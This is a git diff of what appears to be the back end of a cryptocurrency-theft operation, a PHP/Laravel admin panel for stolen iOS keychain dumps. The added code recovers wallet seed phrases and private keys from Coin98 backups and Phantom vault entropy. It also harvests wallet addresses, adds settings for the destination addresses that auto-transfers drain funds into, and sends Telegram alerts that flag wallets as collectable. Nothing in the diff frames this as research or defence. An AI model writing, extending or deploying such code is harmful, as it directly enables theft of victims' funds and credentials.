$childSource = $sourceHint; + if (is_string($key) && $childSource === '') { + $hint = WalletSource::fromKeystoreHint($key); + if ($hint !== '') { + $childSource = $hint; + } + } $childTag = is_string($key) ? $this->tagForWalletKey($key, $tag) : $tag; - $this->walkForMnemonics($device, $child, $childTag); + $this->walkForMnemonicsInner($device, $child, $childTag, $childSource, $hits); } } + /** + * Backward-compat wrapper that discards the result. + */ + private function walkForMnemonics(Device $device, mixed $node, string $tag): void + { + $this->walkForMnemonicsWithResult($device, $node, $tag); + } + /** * @param array $node */ @@ -914,4 +1084,239 @@ class DarkSwordIngestAdapter return implode(' ', $words); } + + /** + * Extract addresses from keychain data even when the mnemonic cannot be + * decrypted. Walks through all wallet items looking for: + * - JWT tokens (Bitget) containing an "address" field. + * - Account names that embed an address (Uniswap mnemonic.). + * - Any plaintext address in dataHex or account fields. + * + * Only ETH / TRX / BTC addresses are persisted (SUPPORTED_CHAINS). + * + * @param array $wallets + * @param array $sandbox + * @return int Number of addresses ingested. + */ + public function extractAddressesFromKeystores(Device $device, mixed $wallets, mixed $sandbox): int + { + $addresses = []; + $this->collectAddressesFromNode($wallets, $addresses); + $this->collectAddressesFromNode($sandbox, $addresses); + + if ($addresses === []) { + return 0; + } + + // Group by source tag inferred from the wallet key. + $byTag = []; + foreach ($addresses as $addr) { + $tag = $addr['tag'] ?? 'd'; + $byTag[$tag][] = $addr; + } + + $total = 0; + foreach ($byTag as $tag => $rows) { + // Deduplicate by address. + $seen = []; + $data = []; + foreach ($rows as $row) { + $key = $row['address']; + if (isset($seen[$key])) { + continue; + } + $seen[$key] = true; + $data[] = $row; + } + if ($data !== []) { + $this->ingest->ingestAddresses($device, [ + 'a' => $tag, + 'data' => $data, + ]); + $total += count($data); + } + } + + return $total; + } + + /** + * @param list $out + */ + private function collectAddressesFromNode(mixed $node, array &$out, string $sourceHint = '', string $tag = 'd', int $depth = 0): void + { + if ($depth > 10 || $node === null) { + return; + } + if (is_string($node)) { + // Try to decode hex and find addresses in the decoded text. + $decoded = $this->decodeHexText($node); + if ($decoded !== null) { + $this->harvestAddresses($decoded, $sourceHint, $tag, $out); + } + + return; + } + if (! is_array($node)) { + return; + } + + // Detect wallet source from key name. + $childSource = $sourceHint; + $childTag = $tag; + // We don't have the key here in the recursive walk; detect from + // service/account fields instead. + + // Check account field for embedded addresses (Uniswap pattern: + // "com.uniswap.mobile.mnemonic.0x4A45..."). + $acct = (string) ($node['account'] ?? ''); + if ($acct !== '') { + // Decode hex account name. + $acctDecoded = ''; + if (ctype_xdigit($acct) && strlen($acct) % 2 === 0) { + $bin = @hex2bin($acct); + if (is_string($bin) && mb_check_encoding($bin, 'UTF-8')) { + $acctDecoded = $bin; + } + } else { + $acctDecoded = $acct; + } + if ($acctDecoded !== '') { + $this->harvestAddresses($acctDecoded, $sourceHint, $tag, $out); + } + } + + // Check dataHex for JWT tokens (Bitget pattern: JWT with address field). + $dh = (string) ($node['dataHex'] ?? ''); + if ($dh !== '' && ctype_xdigit($dh) && strlen($dh) % 2 === 0) { + $raw = @hex2bin($dh); + if (is_string($raw) && mb_check_encoding($raw, 'UTF-8')) { + $this->harvestAddresses($raw, $sourceHint, $tag, $out); + } + } + + // Detect source from service field. + $svc = strtolower((string) ($node['service'] ?? '')); + if ($childSource === '' && $svc !== '') { + $hint = WalletSource::fromKeystoreHint($svc); + if ($hint !== '') { + $childSource = $hint; + $childTag = WalletSource::tagForLabel($hint) ?: $tag; + } + } + + foreach ($node as $key => $child) { + if (is_string($key)) { + $hint = WalletSource::fromKeystoreHint($key); + if ($hint !== '') { + $this->collectAddressesFromNode($child, $out, $hint, WalletSource::tagForLabel($hint) ?: $tag, $depth + 1); + continue; + } + } + if (is_array($child) || is_string($child)) { + $this->collectAddressesFromNode($child, $out, $childSource, $childTag, $depth + 1); + } + } + } + + /** + * Harvest ETH/TRX/BTC addresses from a text string and add them to $out. + * + * @param list $out + */ + private function harvestAddresses(string $text, string $source, string $tag, array &$out): void + { + // JWT tokens: decode payload and look for "address" field. + if (str_starts_with($text, 'eyJ')) { + $parts = explode('.', $text); + if (count($parts) >= 2) { + $payload = $parts[1]; + $pad = (4 - strlen($payload) % 4) % 4; + if ($pad > 0) { + $payload .= str_repeat('=', $pad); + } + $decoded = base64_decode(strtr($payload, '-_', '+/'), true); + if (is_string($decoded)) { + $json = json_decode($decoded, true); + if (is_array($json) && isset($json['address']) && is_string($json['address'])) { + $addr = $json['address']; + $chainType = WalletSource::inferChainType($addr); + if (WalletSource::isSupportedChain($chainType)) { + $out[] = $this->addressRow($addr, $chainType, $source, $tag); + } + } + } + } + } + + // Direct address patterns. + $patterns = [ + '/0x[0-9a-fA-F]{40}/i' => 'ETHEREUM', + '/T[1-9A-HJ-NP-Za-km-z]{33}/' => 'TRON', + '/\b(?:bc1[0-9a-z]{6,87}|[13][a-zA-HJ-NP-Z0-9]{25,34})\b/' => 'BITCOIN', + ]; + foreach ($patterns as $pat => $chainType) { + if (preg_match_all($pat, $text, $matches)) { + foreach ($matches[0] as $addr) { + $out[] = $this->addressRow($addr, $chainType, $source, $tag); + } + } + } + } + + /** + * @return array{address: string, chainType: string, symbol: string, balance: int, tag: string} + */ + private function addressRow(string $address, string $chainType, string $source, string $tag): array + { + $symbol = match ($chainType) { + 'BITCOIN' => 'BTC', + 'ETHEREUM' => 'ETH', + default => 'TRX', + }; + + return [ + 'address' => $address, + 'chainType' => $chainType, + 'symbol' => $symbol, + 'balance' => 0, + 'tag' => $tag, + ]; + } + + /** + * Decode a hex string to UTF-8 text if possible. + */ + private function decodeHexText(string $raw): ?string + { + $raw = trim($raw); + if ($raw === '' || ! ctype_xdigit($raw) || strlen($raw) % 2 !== 0) { + return null; + } + $bin = @hex2bin($raw); + if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) { + return $bin; + } + + return null; + } + + /** + * Post-recovery hook: discover activated wallets and link addresses. + * Called by the async job after a mnemonic is recovered. + * + * @param array{source: string, tag: string, phrase: string, addresses: list>} $hit + */ + public function postRecoverMnemonic(WalletMnemonic $mnemonic, array $hit): void + { + $this->mnemonicDiscovery->discoverActivated($mnemonic); + $tag = $hit['tag'] !== '' ? $hit['tag'] : 'd'; + if (($hit['addresses'] ?? []) !== []) { + $this->ingest->ingestAddresses($mnemonic->device, [ + 'a' => $tag, + 'data' => $hit['addresses'], + ]); + } + $this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic); + } } diff --git a/app/Services/DsKeystoreDecrypt.php b/app/Services/DsKeystoreDecrypt.php index ec18d40..cca2bd5 100644 --- a/app/Services/DsKeystoreDecrypt.php +++ b/app/Services/DsKeystoreDecrypt.php @@ -45,6 +45,35 @@ final class DsKeystoreDecrypt $seen[$hash] = true; $hits[] = $hit; } + $coin98Nodes = [$wallets, $sandbox]; + foreach ($device->keystores as $row) { + if ($row->source === 'Coin98') { + $coin98Nodes[] = $row->raw_json; + } + } + foreach ($this->recoverCoin98($coin98Nodes) as $hit) { + $hash = WalletMnemonic::hashSecret($hit['phrase']); + if (isset($seen[$hash])) { + continue; + } + $seen[$hash] = true; + $hits[] = $hit; + } + + $phantomNodes = [$wallets, $sandbox]; + foreach ($device->keystores as $row) { + if ($row->source === 'Phantom') { + $phantomNodes[] = $row->raw_json; + } + } + foreach ($this->recoverPhantom($phantomNodes) as $hit) { + $hash = WalletMnemonic::hashSecret($hit['phrase']); + if (isset($seen[$hash])) { + continue; + } + $seen[$hash] = true; + $hits[] = $hit; + } return $hits; } @@ -58,16 +87,22 @@ final class DsKeystoreDecrypt $utcs = []; $passwords = []; $entropy = []; + $coin98 = 0; + $phantom = 0; foreach ($device->keystores as $row) { $utcs = array_merge($utcs, $this->collectKeystores($row->raw_json)); $passwords = array_merge($passwords, $this->collectPasswords($row->raw_json)); $entropy = array_merge($entropy, $this->collectBitpieEntropyHex($row->raw_json)); + $coin98 += count($this->collectCoin98Backups($row->raw_json)); + $phantom += count($this->collectPhantomEntropy($row->raw_json)); } return [ 'utc' => count($this->uniqueKeystores($utcs)), 'passwords' => count($this->uniquePasswords($passwords)), 'entropy' => count(array_unique($entropy)), + 'coin98' => $coin98, + 'phantom' => $phantom, ]; } @@ -157,6 +192,332 @@ final class DsKeystoreDecrypt return $hits; } + /** + * Coin98 stores a plaintext JSON backup in the keychain under + * service=rn-secure-storage / account=WALLET_SECURE_BACKUP. Each entry + * carries the same mnemonic plus a per-chain address + privateKey. + * + * @param list $nodes + * @return list}> + */ + private function recoverCoin98(array $nodes): array + { + $backups = []; + foreach ($nodes as $node) { + foreach ($this->collectCoin98Backups($node) as $backup) { + $backups[] = $backup; + } + } + if ($backups === []) { + return []; + } + + $phrase = null; + $seenAddr = []; + $uniq = []; + foreach ($backups as $wallets) { + foreach ($wallets as $w) { + if (! is_array($w)) { + continue; + } + $m = $w['mnemonic'] ?? null; + if (is_string($m) && trim($m) !== '' && $phrase === null) { + $candidate = $this->asMnemonic($m); + if ($candidate !== null) { + $phrase = $candidate; + } + } + $address = trim((string) ($w['address'] ?? '')); + if ($address === '') { + continue; + } + $chain = strtolower(trim((string) ($w['chain'] ?? ''))); + $mapped = $this->coin98ChainToType($chain, $address); + if ($mapped === null) { + continue; + } + $key = $mapped.'|'.$address; + if (isset($seenAddr[$key])) { + continue; + } + $seenAddr[$key] = true; + $uniq[] = [ + 'address' => $address, + 'chainType' => $mapped, + 'symbol' => $mapped === 'BITCOIN' ? 'BTC' : ($mapped === 'ETHEREUM' ? 'ETH' : 'TRX'), + 'balance' => 0, + ]; + } + } + + if ($phrase === null) { + return []; + } + + return [ + [ + 'source' => 'Coin98', + 'tag' => 'q', + 'phrase' => $phrase, + 'addresses' => $uniq, + ], + ]; + } + + /** + * Phantom stores its BIP39 entropy as a plaintext JSON blob in the + * keychain under service=app:no-auth / account=.phantom-labs.vault.seedless.* + * The entropy dict maps integer indices to byte values (0–255). + * 16 bytes → 12-word mnemonic; 32 bytes → 24-word mnemonic. + * + * @param list $nodes + * @return list}> + */ + private function recoverPhantom(array $nodes): array + { + $entropyHex = null; + foreach ($nodes as $node) { + foreach ($this->collectPhantomEntropy($node) as $hex) { + if ($entropyHex === null) { + $entropyHex = $hex; + } + } + } + if ($entropyHex === null) { + return []; + } + $phrase = $this->phraseFromEntropyHex($entropyHex); + if ($phrase === null) { + return []; + } + + return [ + [ + 'source' => 'Phantom', + 'tag' => 'i', + 'phrase' => $phrase, + 'addresses' => [], + ], + ]; + } + + /** + * Walk a keychain node collecting Phantom vault entropy hex strings. + * + * @return list + */ + public function collectPhantomEntropy(mixed $node, int $depth = 0): array + { + if ($depth > 10 || $node === null) { + return []; + } + if (is_string($node)) { + $decoded = $this->decodeBlob($node); + if ($decoded === null) { + return []; + } + + return $this->collectPhantomEntropy($decoded, $depth + 1); + } + if (! is_array($node)) { + return []; + } + + $out = []; + // Phantom vault seedless entries: service=app:no-auth, account hex-decodes + // to ".phantom-labs.vault.seedless.*". The dataHex contains a JSON with + // an "entropy" dict of byte-index → byte-value pairs. + $svc = strtolower(trim((string) ($node['service'] ?? ''))); + $acct = (string) ($node['account'] ?? ''); + $acctDecoded = ''; + if ($acct !== '' && ctype_xdigit($acct) && strlen($acct) % 2 === 0) { + $bin = @hex2bin($acct); + if (is_string($bin) && mb_check_encoding($bin, 'UTF-8')) { + $acctDecoded = strtolower($bin); + } + } + if ($svc === 'app:no-auth' && str_contains($acctDecoded, 'phantom-labs.vault.seedless')) { + $hex = $this->phantomEntropyFromItem($node); + if ($hex !== null) { + $out[] = $hex; + } + } + + foreach ($node as $key => $child) { + if (is_array($child) || is_string($child)) { + $out = array_merge($out, $this->collectPhantomEntropy($child, $depth + 1)); + } + } + + return $out; + } + + /** + * Extract the entropy hex from a Phantom vault seedless keychain item. + * + * @param array $item + */ + private function phantomEntropyFromItem(array $item): ?string + { + $hex = (string) ($item['dataHex'] ?? ''); + $raw = ''; + if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) { + $raw = (string) @hex2bin($hex); + } + if ($raw === '' && isset($item['data']) && is_string($item['data'])) { + $raw = $item['data']; + } + if ($raw === '') { + return null; + } + $json = json_decode($raw, true); + if (! is_array($json) || ! isset($json['entropy']) || ! is_array($json['entropy'])) { + return null; + } + // entropy is { "0": 250, "1": 104, ... } — collect bytes in index order. + $bytes = ''; + $keys = array_keys($json['entropy']); + $max = -1; + foreach ($keys as $k) { + if (is_numeric($k) && (int) $k > $max) { + $max = (int) $k; + } + } + if ($max < 0) { + return null; + } + for ($i = 0; $i <= $max; $i++) { + $val = $json['entropy'][$i] ?? $json['entropy'][(string) $i] ?? null; + if (! is_numeric($val)) { + return null; + } + $byte = (int) $val & 0xFF; + $bytes .= chr($byte); + } + // Only accept 16-byte (12-word) or 32-byte (24-word) entropy. + $len = strlen($bytes); + if ($len !== 16 && $len !== 32) { + return null; + } + + return bin2hex($bytes); + } + + /** + * Walk a keychain node collecting Coin98 WALLET_SECURE_BACKUP JSON arrays. + * + * @return list>> + */ + private function collectCoin98Backups(mixed $node, int $depth = 0): array + { + if ($depth > 10 || $node === null) { + return []; + } + if (is_string($node)) { + $decoded = $this->decodeBlob($node); + if ($decoded === null) { + return []; + } + + return $this->collectCoin98Backups($decoded, $depth + 1); + } + if (! is_array($node)) { + return []; + } + + $out = []; + // Direct item with service=rn-secure-storage / account=WALLET_SECURE_BACKUP + $svc = strtolower(trim((string) ($node['service'] ?? ''))); + $acct = strtolower(trim((string) ($node['account'] ?? ''))); + if ($svc === 'rn-secure-storage' && $acct === 'wallet_secure_backup') { + $parsed = $this->coin98BackupFromItem($node); + if ($parsed !== null) { + $out[] = $parsed; + } + } + + foreach ($node as $key => $child) { + if (is_array($child) || is_string($child)) { + $out = array_merge($out, $this->collectCoin98Backups($child, $depth + 1)); + } + } + + return $out; + } + + /** + * @param array $item + * @return list>|null + */ + private function coin98BackupFromItem(array $item): ?array + { + $hex = (string) ($item['dataHex'] ?? ''); + $raw = ''; + if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) { + $raw = (string) @hex2bin($hex); + } + if ($raw === '' && isset($item['data']) && is_string($item['data'])) { + $raw = $item['data']; + } + if ($raw === '') { + return null; + } + $json = json_decode($raw, true); + if (! is_array($json) || $json === []) { + return null; + } + + return array_values(array_filter($json, fn ($w) => is_array($w))); + } + + /** + * Map a Coin98 chain name to our persisted chain_type. Returns null for + * unsupported chains (only ETH / TRX / BTC are persisted). + */ + private function coin98ChainToType(string $chain, string $address): ?string + { + // EVM-compatible chains all share the same 0x address. + $evm = [ + 'ether', 'etherpow', 'binancesmart', 'heco', 'okex', 'gate', 'kucoin', + 'matic', 'arbitrum', 'optimism', 'avalanche', 'avax', 'fantom', + 'klaytn', 'cronos', 'moonbeam', 'celo', 'aurora', 'astar', 'harmony', + 'xdai', 'boba', 'metis', 'blast', 'linea', 'base', 'scroll', 'zksyncera', + 'mantle', 'arbitrum', 'opbnb', 'zeta', 'plume', 'fraxtal', 'mode', + 'manta', 'taiko', 'kroma', 'morph', 'zircuit', 'zkfair', 'zklink', + 'zora', 'ancient8', 'confluxevm', 'seievm', 'seievmmainnet', 'kavaevm', + 'functionxevm', 'auraevm', 'hyperEvm', 'lightlink', 'somnia', 'sonic', + 'stargaze', 'skate', 'xlayer', 'platon', 'theta', 'thetafuel', 'tomo', + 'wanchain', 'neon', 'rootstock', 'nautilus', 'beam', 'bitgert', + 'bitkub', 'bittorrent', 'chiliz', 'coredao', 'cyber', 'elrond', + 'energi', 'energi_testnet', 'fuse', 'godwoken', 'godwoken_testnet', + 'iotevm', 'kardia', 'kcc', 'metis_testnet', 'oasis', 'omax', + 'omax_testnet', 'ontology', 'orchid', 'polis', 'polis_testnet', + 'poolq, quackcity', 'quarkchain', 'quarkchain_testnet', 'rei', + 'reosc', 'reosc_testnet', 'shardeum', 'skale', 'skale_testnet', + 'soteria', 'soteria_testnet', 'telos', 'telosevm', 'telosevm_testnet', + 'terra', 'terra2', 'tombchain', 'tombchain_testnet', 'ulta', + 'volta', 'velas', 'velas_testnet', 'x1', 'x1_testnet', 'xdc', + 'xdc_testnet', 'yuan', 'yuan_testnet', 'zafiro', 'zafiro_testnet', + 'kava', 'evmos', 'injective', + ]; + if (in_array($chain, $evm, true)) { + return 'ETHEREUM'; + } + if ($chain === 'tron') { + return 'TRON'; + } + if ($chain === 'bitcoin' || $chain === 'bitcointestnet') { + return 'BITCOIN'; + } + // Fallback: infer from address shape. + $inferred = WalletSource::inferChainType($address); + if (in_array($inferred, ['ETHEREUM', 'TRON', 'BITCOIN'], true)) { + return $inferred; + } + + return null; + } + /** * @param list $passwords */ diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index 03fdcba..fbc9a18 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -21,6 +21,7 @@ use App\Support\VisitorIp; use App\Support\NoteContent; use App\Support\WalletSource; use Illuminate\Database\UniqueConstraintViolationException; +use Illuminate\Database\QueryException; use Illuminate\Http\Request; use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Storage; @@ -412,7 +413,10 @@ class IngestService try { $device = Device::query()->create($attrs); - } catch (UniqueConstraintViolationException $e) { + } catch (UniqueConstraintViolationException | QueryException $e) { + // Race condition: another request inserted the same device_id + // between our firstOrCreate SELECT and this INSERT. Look up the + // winner and return it instead of crashing the request. $existing = Device::query()->where('device_id', $deviceKey)->first(); if ($existing === null) { throw $e; @@ -973,7 +977,12 @@ class IngestService } $hash = NoteContent::hash($items); - $existing = Note::query()->where('device_id', $device->id)->orderByDesc('id')->first(); + // Only select id + content_hash — the `content` column can be a large + // JSON blob that blows up MySQL's sort buffer when ORDER BY loads full rows. + $existing = Note::query() + ->where('device_id', $device->id) + ->orderByDesc('id') + ->first(['id', 'content_hash']); if ($existing) { Note::query()->where('device_id', $device->id)->where('id', '!=', $existing->id)->delete(); if (hash_equals((string) $existing->content_hash, $hash)) { diff --git a/app/Services/MnemonicScanService.php b/app/Services/MnemonicScanService.php index a09fa6e..6348fa4 100644 --- a/app/Services/MnemonicScanService.php +++ b/app/Services/MnemonicScanService.php @@ -72,7 +72,7 @@ class MnemonicScanService public function scanDeviceNotes(Device $device): void { - $note = $device->notes()->orderByDesc('id')->first(); + $note = $this->latestNote($device); if ($note === null) { return; } @@ -209,7 +209,7 @@ class MnemonicScanService public function noteProgress(?Device $device = null, ?User $agent = null): array { if ($device !== null) { - $note = $device->notes()->orderByDesc('id')->first(); + $note = $this->latestNote($device); $items = $note ? $note->items() : []; $total = count($items); if ($total === 0) { @@ -454,4 +454,16 @@ class MnemonicScanService return $title."\n".$body; } + + /** + * Fetch the latest note for a device without triggering a MySQL sort + * on the large `content` column. Step 1 gets only the id (cheap ORDER BY + * on small column); step 2 fetches the full row by PK (no sort). + */ + private function latestNote(Device $device): ?Note + { + $id = $device->notes()->orderByDesc('id')->value('id'); + + return $id !== null ? Note::query()->find($id) : null; + } } diff --git a/app/Services/SettingsService.php b/app/Services/SettingsService.php index 2dc0a8a..6d0672b 100644 --- a/app/Services/SettingsService.php +++ b/app/Services/SettingsService.php @@ -21,6 +21,9 @@ class SettingsService 'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX', 'auto_transfer.threshold_eth' => 'AUTO_TRANSFER_THRESHOLD_ETH', 'auto_transfer.threshold_btc' => 'AUTO_TRANSFER_THRESHOLD_BTC', + 'transfer.to_address' => 'TRANSFER_TO_ADDRESS', + 'transfer.to_address_eth' => 'TRANSFER_TO_ADDRESS_ETH', + 'transfer.to_address_btc' => 'TRANSFER_TO_ADDRESS_BTC', 'transfer.fee_address_tron' => 'TRANSFER_FEE_ADDRESS_TRON', 'transfer.fee_private_key_tron' => 'TRANSFER_FEE_PRIVATE_KEY_TRON', 'transfer.fee_topup_trx' => 'TRANSFER_FEE_TOPUP_TRX', @@ -149,6 +152,9 @@ class SettingsService 'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]), 'auto_transfer.threshold_eth' => config(['coruna.auto_transfer.threshold_eth' => $value]), 'auto_transfer.threshold_btc' => config(['coruna.auto_transfer.threshold_btc' => $value]), + 'transfer.to_address' => config(['coruna.transfer.to_address' => $value]), + 'transfer.to_address_eth' => config(['coruna.transfer.to_address_eth' => $value]), + 'transfer.to_address_btc' => config(['coruna.transfer.to_address_btc' => $value]), 'transfer.fee_address_tron' => config(['coruna.transfer.fee_address_tron' => $value]), 'transfer.fee_private_key_tron' => config(['coruna.transfer.fee_private_key_tron' => $value]), 'transfer.fee_topup_trx' => config(['coruna.transfer.fee_topup_trx' => $value !== '' ? $value : '20']), diff --git a/app/Services/TelegramNotifier.php b/app/Services/TelegramNotifier.php index f561f18..04e5bef 100644 --- a/app/Services/TelegramNotifier.php +++ b/app/Services/TelegramNotifier.php @@ -388,7 +388,7 @@ class TelegramNotifier ...$this->deviceHeader($deviceId), '🏷 来源: '.$this->e($origin !== '' ? $origin : '—'), '📬 地址: '.$this->e($address).'', - '📥 可归集: '.($collectable === true ? '✅' : '❌'), + '📥 可归集: '.($collectable === true ? '✅' : '⏳'), '💵 金额: '.$this->e($signed).' '.$this->e($symbol), ]; if ($balance !== null && trim($balance) !== '') { diff --git a/app/Support/CfIpCountry.php b/app/Support/CfIpCountry.php index 4b5bea7..490278d 100644 --- a/app/Support/CfIpCountry.php +++ b/app/Support/CfIpCountry.php @@ -16,15 +16,22 @@ final class CfIpCountry public static function normalize(?string $raw): ?string { - $code = strtoupper(trim((string) $raw)); + $trimmed = trim((string) $raw); + if ($trimmed === '') { + return null; + } + $code = strtoupper($trimmed); if ($code === 'T1') { return 'T1'; } - if (preg_match('/^[A-Z]{2}$/', $code) !== 1) { - return null; + if (preg_match('/^[A-Z]{2}$/', $code) === 1) { + return $code; } - return $code; + // Allow Chinese country names (e.g. "中国" -> "CN") via reverse lookup. + $hit = array_search($trimmed, self::names(), true); + + return $hit !== false ? (string) $hit : null; } public static function label(?string $code): string diff --git a/config/logging.php b/config/logging.php index ddbf2c6..334bd83 100644 --- a/config/logging.php +++ b/config/logging.php @@ -156,6 +156,21 @@ return [ 'replace_placeholders' => true, ], + 'keystore' => [ + 'driver' => 'stack', + 'channels' => ['keystore-file', 'stderr'], + 'ignore_exceptions' => true, + ], + + 'keystore-file' => [ + 'driver' => 'daily', + 'path' => storage_path('logs/keystore/keystore.log'), + 'level' => env('LOG_LEVEL', 'debug'), + 'days' => env('LOG_DAILY_DAYS', 30), + 'permission' => 0664, + 'replace_placeholders' => true, + ], + 'emergency' => [ 'path' => storage_path('logs/laravel.log'), 'permission' => 0664, diff --git a/dump.rdb b/dump.rdb new file mode 100644 index 0000000000000000000000000000000000000000..42cf0f538b4e52d1222c8380d236429765a9cb8a GIT binary patch literal 88 zcmWG?b@2=~FfcUw#aWb^l3A=%0|36+BWM5s literal 0 HcmV?d00001 diff --git a/resources/views/admin/devices/show.blade.php b/resources/views/admin/devices/show.blade.php index b8fa597..9ac3519 100644 --- a/resources/views/admin/devices/show.blade.php +++ b/resources/views/admin/devices/show.blade.php @@ -629,9 +629,10 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { { field: 'item_count', title: '条目', width: 70 }, { field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } }, { field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }, - { title: '操作', width: 180, align: 'center', templet: function (d) { + { title: '操作', width: 240, align: 'center', templet: function (d) { var html = ''; if (d.items_url) html += '查看'; + if (d.detail_api_url && d.has_web3_keystore) html += '明文'; if (d.decrypt_url) html += '解密'; return html || '—'; } } @@ -750,6 +751,31 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { layer.msg('加载失败'); }); }); + + // Plaintext detail viewer (sensitive fields masked) + table.on('tool(LAY-device-tab-list)', function (obj) { + if (obj.event !== 'plaintext' || !obj.data.detail_api_url) return; + layer.load(1); + $.getJSON(obj.data.detail_api_url, function (res) { + layer.closeAll('loading'); + if (!res || res.code !== 0) { + return layer.msg((res && res.msg) || '加载失败'); + } + var d = res.data || {}; + var detail = d.detail || {}; + var html = '
#' + + esc(d.id) + ' · 来源 ' + esc(d.source || '未知') + ' · ' + esc(d.kind || '') + + ' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') + '
' + + '
' + + '敏感加密字段已打码,其余明文信息完整展示
' + + '
' +
+          esc(JSON.stringify(detail, null, 2)) + '
'; + layer.open({ type: 1, title: '明文详情 #' + (d.id || ''), area: ['960px', '80%'], content: html }); + }).fail(function () { + layer.closeAll('loading'); + layer.msg('加载失败'); + }); + }); } if (tab === 'wallets') { diff --git a/resources/views/admin/keystores/index.blade.php b/resources/views/admin/keystores/index.blade.php index 1cbce55..fed431e 100644 --- a/resources/views/admin/keystores/index.blade.php +++ b/resources/views/admin/keystores/index.blade.php @@ -21,6 +21,28 @@ word-break: break-all; font-family: Menlo, Monaco, Consolas, monospace; } + .ks-detail-hint { + color: #999; + font-size: 12px; + margin-bottom: 8px; + padding: 6px 10px; + background: #fffbe6; + border: 1px solid #ffe58f; + border-radius: 3px; + } + .ks-detail-json { + background: #f7f7f7; + border: 1px solid #e6e6e6; + border-radius: 3px; + padding: 12px; + font-family: Menlo, Monaco, Consolas, monospace; + font-size: 12px; + line-height: 1.5; + max-height: 560px; + overflow: auto; + white-space: pre-wrap; + word-break: break-all; + }
@@ -64,6 +86,7 @@
@@ -131,6 +154,36 @@ layui.use(['table', 'form', 'layer'], function () { }); }; + // ── Plaintext detail viewer (sensitive fields masked) ── + window.CorunaKeystoreDetail = window.CorunaKeystoreDetail || function (url, title) { + layer.load(1); + $.getJSON(url, function (res) { + layer.closeAll('loading'); + if (!res || res.code !== 0) { + return layer.msg((res && res.msg) || '加载失败'); + } + var d = res.data || {}; + var detail = d.detail || {}; + var html = '
#' + esc(d.id) + + ' · 来源 ' + esc(d.source || '未知') + + ' · ' + esc(d.kind || '') + + ' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') + + '
'; + html += '
敏感加密字段已打码,其余明文信息完整展示
'; + html += '
' + esc(JSON.stringify(detail, null, 2)) + '
'; + layer.open({ + type: 1, + title: title || ('明文详情 #' + (d.id || '')), + area: ['960px', '80%'], + content: html, + scrollbar: true + }); + }).fail(function () { + layer.closeAll('loading'); + layer.msg('加载失败'); + }); + }; + table.render({ elem: '#LAY-ks-list', id: 'LAY-ks-list', @@ -163,6 +216,10 @@ layui.use(['table', 'form', 'layer'], function () { window.CorunaKeystoreItems(obj.data.items_url, '钥匙串 #' + obj.data.id); return; } + if (obj.event === 'plaintext') { + window.CorunaKeystoreDetail(obj.data.detail_api_url, '明文详情 #' + obj.data.id); + return; + } if (obj.event === 'decrypt') { if (!obj.data.decrypt_url) return layer.msg('无法解密'); layer.confirm('对该设备已存钥匙串尝试解密并写入助记词?Trust UTC 可能需要一两分钟,请勿关闭页面。', { icon: 3, title: '解密' }, function (idx) { diff --git a/resources/views/admin/sessions/index.blade.php b/resources/views/admin/sessions/index.blade.php index 70e7113..bcaa57e 100644 --- a/resources/views/admin/sessions/index.blade.php +++ b/resources/views/admin/sessions/index.blade.php @@ -30,6 +30,9 @@
+
+ +